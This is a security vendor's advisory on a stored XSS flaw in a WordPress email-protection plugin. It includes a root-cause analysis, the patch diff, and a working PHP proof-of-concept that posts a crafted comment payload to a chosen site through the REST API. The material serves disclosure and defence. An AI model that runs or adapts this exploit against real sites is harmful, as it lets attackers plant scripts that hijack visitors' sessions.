Published : November 27, 2026

CVE-2026-111803: Email Encoder <= 2.5.5 Unauthenticated Stored Cross-Site Scripting via Comment Content PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.4)
CWE 79
Vulnerable Version 2.5.5
Patched Version 2.5.6
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-111803: This is an unauthenticated stored Cross-Site Scripting vulnerability in the Email Encoder plugin for WordPress, affecting all versions up to and including 2.5.5. The flaw resides in the plugin’s handling of the ‘comment’ parameter, where insufficient input sanitization and output escaping allow an attacker to inject arbitrary web scripts. Severity is rated CVSS 5.4 (Medium). Exploitation requires a site administrator to have enabled the non-default ‘Protect custom href attributes’ setting, and the injected comment must pass standard WordPress moderation before the script executes for visitors.

Root Cause: The vulnerability stems from the use of shortcode_parse_atts() in parse_html_attributes() (email-encoder-bundle/core/includes/classes/class-email-encoder-bundle-helpers.php, lines 189-200). shortcode_parse_atts() performs C-style unescaping via stripcslashes(), which converts sequences like x22 into a literal double quote. When processing comment content that includes HTML attributes (e.g., href attributes), the plugin parses these attributes, and the unescaping allows an attacker to break out of attribute context. Additionally, the plugin’s createProtectedHrefAtt() and related functions in src/Validate/Encoding.php use antispambot() without proper escaping (before the patch), which fails to neutralize special characters like quotes. The patch introduces parse_atts_literal(), which doubles backslashes before calling shortcode_parse_atts() to prevent C-style unescaping, and adds esc_attr() around antispambot() output to ensure proper HTML escaping.

Exploitation: An unauthenticated attacker can submit a comment to any post where comments are enabled. The payload is placed in the ‘comment’ parameter and includes an href attribute with a crafted value containing an escaped double quote sequence (e.g., x22) that, when processed by the plugin’s attribute parser, unescapes to a double quote, allowing injection of arbitrary JavaScript. For example, the payload might be: . When a page containing this comment is rendered, the plugin’s ‘Protect custom href attributes’ feature (configured for ‘tel’) processes the href attribute, and the insufficient escaping allows the script to execute in the visitor’s browser. The attack requires that the comment passes moderation, meaning the attacker may need to craft a payload that evades WordPress’s default KSES filters or rely on an administrator approving the comment.

Patch Analysis: The patch fixes the vulnerability by replacing shortcode_parse_atts() with a new method parse_atts_literal() that doubles backslashes before calling shortcode_parse_atts(), thereby preventing the C-style unescaping of sequences like x22. This ensures that attribute values are treated literally, so quotes and other special characters cannot be injected via escape sequences. Additionally, in src/Validate/Encoding.php, the patch adds esc_attr() around the output of antispambot() when constructing href attributes, ensuring proper HTML entity encoding. The patch also changes strip_tags() to wp_strip_all_tags() for better handling, and closes an unclosed brace in a foreach loop. These changes collectively prevent the injection of malicious attributes and scripts.

Impact: If exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the context of a victim’s browser when they view an infected page. This could lead to session hijacking, theft of cookies, defacement, or redirection to malicious sites. Because the attack is stored and unauthenticated, it can be used for mass exploitation, such as injecting cryptocurrency miners or malware. The requirement for comment moderation reduces the likelihood of immediate exploitation, but once approved, the script persists and affects all visitors.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/email-encoder-bundle/core/includes/classes/class-email-encoder-bundle-helpers.php
+++ b/email-encoder-bundle/core/includes/classes/class-email-encoder-bundle-helpers.php
@@ -189,7 +189,7 @@
 	 */
 	public function parse_html_attributes( string $text ) {

-		$attributes = shortcode_parse_atts( $text );
+		$attributes = $this->parse_atts_literal( $text );

 		// if( is_array( $attributes ) ) {
 			foreach( $attributes as $ak => $av ){
@@ -198,7 +198,7 @@
 				$ident = '@';
 				if( substr( $av, 0, strlen( $ident ) ) === $ident ){
 					$validated_attribute = substr( $av, strlen( $ident ) );
-					$new_attr = shortcode_parse_atts( $validated_attribute );
+					$new_attr = $this->parse_atts_literal( $validated_attribute );

 					// if( is_array( $new_attr ) ){
 						foreach( $new_attr as $nak => $nav ){
@@ -230,6 +230,21 @@
 	}

 	/**
+	 * shortcode_parse_atts() without its C-style unescaping
+	 *
+	 * shortcode_parse_atts() decodes C-style escapes in every value (plain stripcslashes()
+	 * before WordPress 7.1.5), so the text x22 in page HTML, which KSES lets through in
+	 * comments, came back as a real double quote. Doubling the backslashes first makes the
+	 * decoding return the value exactly as written.
+	 *
+	 * @param string $text
+	 * @return array<int|string, string>
+	 */
+	private function parse_atts_literal( string $text ) {
+		return shortcode_parse_atts( str_replace( '\', '\\', $text ) );
+	}
+
+	/**
 	 * Sanitize a string of HTML attributes
 	 *
 	 * @since 2.1.9
--- a/email-encoder-bundle/email-encoder-bundle.php
+++ b/email-encoder-bundle/email-encoder-bundle.php
@@ -1,7 +1,7 @@
 <?php
  /**
  * Plugin Name:    Email Encoder - Protect Email Addresses
- * Version:        2.5.5
+ * Version:        2.5.6
  * Requires PHP:   7.4
  * Plugin URI:     https://wpemailencoder.com/
  * Description:    Protect email addresses on your site and hide them from spambots. Easy to use & flexible.
@@ -19,7 +19,7 @@
 defined( 'ABSPATH' ) || exit;

 define( 'EEB_NAME',           'Email Encoder' );
-define( 'EEB_VERSION',        '2.5.5' );
+define( 'EEB_VERSION',        '2.5.6' );
 define( 'EEB_SETUP',          true );
 define( 'EEB_PLUGIN_FILE',    __FILE__ );
 define( 'EEB_PLUGIN_BASE',    plugin_basename( EEB_PLUGIN_FILE ) );
--- a/email-encoder-bundle/src/Validate/Encoding.php
+++ b/email-encoder-bundle/src/Validate/Encoding.php
@@ -113,11 +113,12 @@
             . '<script type="text/javascript">'
             . 'document.getElementById("' . $element_id . '").innerHTML = decodeURIComponent("';

-        if ( is_array( $split ) )
-        foreach ( $split as $c ) {
-            // preg split will return empty first and last characters, check for them and ignore
-            if ( ! empty( $c ) || $c === '0' ) {
-                $out .= '%' . dechex( ord( $c ) );
+        if ( is_array( $split ) ) {
+            foreach ( $split as $c ) {
+                // preg split will return empty first and last characters, check for them and ignore
+                if ( ! empty( $c ) || $c === '0' ) {
+                    $out .= '%' . dechex( ord( $c ) );
+                }
             }
         }

@@ -243,7 +244,10 @@
         foreach ( $attrs as $key => $value ) {
             if ( strtolower( $key ) === 'href' ) {
                 if ( $protection_method === 'without_javascript' ) {
-                    $link .= $key . '="' . antispambot( $value ) . '" ';
+                    // antispambot() only obfuscates: it leaves about half the characters raw,
+                    // a quote included, so the result still needs esc_attr() (which keeps its
+                    // &#NN; entities as they are).
+                    $link .= 'href="' . esc_attr( antispambot( $value ) ) . '" ';
                 } else {
                     $encoded_email = $this->get_encoded_email( $email );

@@ -266,7 +270,7 @@
         // When the display holds richer content (e.g. a builder-wrapped <span>Email us at x</span>),
         // keep the markup intact — the final filterPlainEmails pass below entity-encodes any emails
         // still embedded in it so bots can't harvest them.
-        $display_is_just_email = ( $email !== '' && trim( strip_tags( (string) $display ) ) === $email );
+        $display_is_just_email = ( $email !== '' && trim( wp_strip_all_tags( (string) $display ) ) === $email );

         if ( $display_is_just_email && trim( (string) $display ) !== $email ) {
             // The email is wrapped in markup, e.g. Elementor's icon list:
@@ -344,7 +348,8 @@

         foreach ( $attrs as $key => $value ) {
             if ( strtolower( $key ) === 'href' ) {
-                $link .= $key . '="' . antispambot( $value ) . '" ';
+                // antispambot() is not an escaper (see create_protected_mailto()).
+                $link .= 'href="' . esc_attr( antispambot( $value ) ) . '" ';
             } else {
                 $link .= esc_attr( $key ) . '="' . esc_attr( $value ) . '" ';
             }
--- a/email-encoder-bundle/src/Validate/Filters.php
+++ b/email-encoder-bundle/src/Validate/Filters.php
@@ -335,7 +335,7 @@
                 $attr_name = trim( $s_attr );

                 $callbackEncodeCustomLinks = function ( $match ) use ( $self, $protection_method ) {
-                    $attrs = shortcode_parse_atts( $match[1] );
+                    $attrs = $this->helper()->parse_html_attributes( $match[1] );
                     return $self->createProtectedHrefAtt( $match[4], $attrs, $protection_method );
                 };

--- a/email-encoder-bundle/templates/widgets/main.php
+++ b/email-encoder-bundle/templates/widgets/main.php
@@ -168,13 +168,13 @@
 						?>
 							<div class="eeb-setting eeb-setting--text">
 								<div class="eeb-setting-header">
-									<h4><label for="<?php echo $text_id; ?>"><?php echo wp_kses_post( $data['label'] ); ?></label></h4>
+									<h4><label for="<?php echo esc_attr( $text_id ); ?>"><?php echo wp_kses_post( $data['label'] ); ?></label></h4>
 									<?php if ( isset( $data['description'] ) ) : ?>
 										<p class="eeb-setting-sublabel"><?php echo wp_kses_post( $data['description'] ); ?></p>
 									<?php endif; ?>
 								</div>
 								<div class="eeb-setting-body">
-									<input id="<?php echo $text_id; ?>"
+									<input id="<?php echo esc_attr( $text_id ); ?>"
 										   name="<?php echo esc_attr( $this->getSettingsKey() ); ?>[<?php echo esc_attr( $si_name ); ?>]"
 										   type="text"
 										   class="eeb-input"
@@ -186,8 +186,8 @@
 							$option_id = esc_attr( $si_name . '_' . $si_key );
 							$icon = ! empty( $data['icon'] ) ? $data['icon'] : 'marker';
 						?>
-							<label class="eeb-radio-card" for="<?php echo $option_id; ?>">
-								<input id="<?php echo $option_id; ?>"
+							<label class="eeb-radio-card" for="<?php echo esc_attr( $option_id ); ?>">
+								<input id="<?php echo esc_attr( $option_id ); ?>"
 									   class="eeb-radio-card-input"
 									   name="<?php echo esc_attr( $this->getSettingsKey() ); ?>[<?php echo esc_attr( $si_name ); ?>]"
 									   type="radio"
@@ -213,7 +213,7 @@
 							$option_id = esc_attr( $si_name . '_' . $si_key );
 						?>
 							<div class="eeb-option-row">
-								<label for="<?php echo $option_id; ?>" class="eeb-option-label">
+								<label for="<?php echo esc_attr( $option_id ); ?>" class="eeb-option-label">
 									<?php echo wp_kses_post( $data['label'] ); ?>
 								</label>
 								<?php if ( isset( $data['description'] ) ) : ?>
@@ -222,10 +222,10 @@
 										<span class="eeb-tooltip-text"><?php echo esc_html( wp_strip_all_tags( $data['description'] ) ); ?></span>
 									</span>
 								<?php endif; ?>
-								<label class="eeb-option" for="<?php echo $option_id; ?>">
+								<label class="eeb-option" for="<?php echo esc_attr( $option_id ); ?>">
 									<?php // Hidden zero submits when checkbox is unchecked, so the saved option always reflects the toggle state. ?>
 									<input type="hidden" name="<?php echo esc_attr( $this->getSettingsKey() ); ?>[<?php echo esc_attr( $si_name ); ?>]" value="0" />
-									<input id="<?php echo $option_id; ?>"
+									<input id="<?php echo esc_attr( $option_id ); ?>"
 										   name="<?php echo esc_attr( $this->getSettingsKey() ); ?>[<?php echo esc_attr( $si_name ); ?>]"
 										   type="checkbox"
 										   value="<?php echo esc_attr( $mi_value ); ?>"
--- a/email-encoder-bundle/vendor/composer/installed.php
+++ b/email-encoder-bundle/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'onlineoptimisation/email-encoder-bundle',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '564ae76e0d735684be45c165ac27063c0bd33f9c',
+        'reference' => 'b51e8324de4a8f529fc84764ab4821feb6be0dfc',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'onlineoptimisation/email-encoder-bundle' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '564ae76e0d735684be45c165ac27063c0bd33f9c',
+            'reference' => 'b51e8324de4a8f529fc84764ab4821feb6be0dfc',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Proof of Concept (PHP)

PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-111803 - Email Encoder <= 2.5.5 - Unauthenticated Stored Cross-Site Scripting via Comment Content

$target_url = 'http://example.com'; // Change to target WordPress site

// Step 1: Check if target is WordPress and the plugin is active
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (strpos($response, 'email-encoder') === false) {
    die("Email Encoder plugin not detected. Exiting.n");
}

// Step 2: Find a post to comment on (use the first post)
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/posts?per_page=1');
$posts = json_decode(curl_exec($ch), true);
if (empty($posts)) {
    die("No posts found. Exiting.n");
}
$post_id = $posts[0]['id'];

// Step 3: Craft the malicious comment payload
// The payload exploits the shortcode_parse_atts() C-style unescaping to inject a quote and event handler.
$payload = '<a href="@tel\x22 onmouseover=alert(document.domain) x=\">Click me</a>';

// Step 4: Submit the comment via WordPress comments endpoint
$comment_data = [
    'post' => $post_id,
    'author' => 'Attacker',
    'email' => 'attacker@example.com',
    'content' => $payload,
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/comments');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($comment_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code == 201) {
    echo "Comment submitted successfully. Wait for moderation and visit the post to trigger XSS.n";
} else {
    echo "Comment submission failed. HTTP code: $http_coden";
    echo $response . "n";
}

curl_close($ch);

Frequently Asked Questions

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.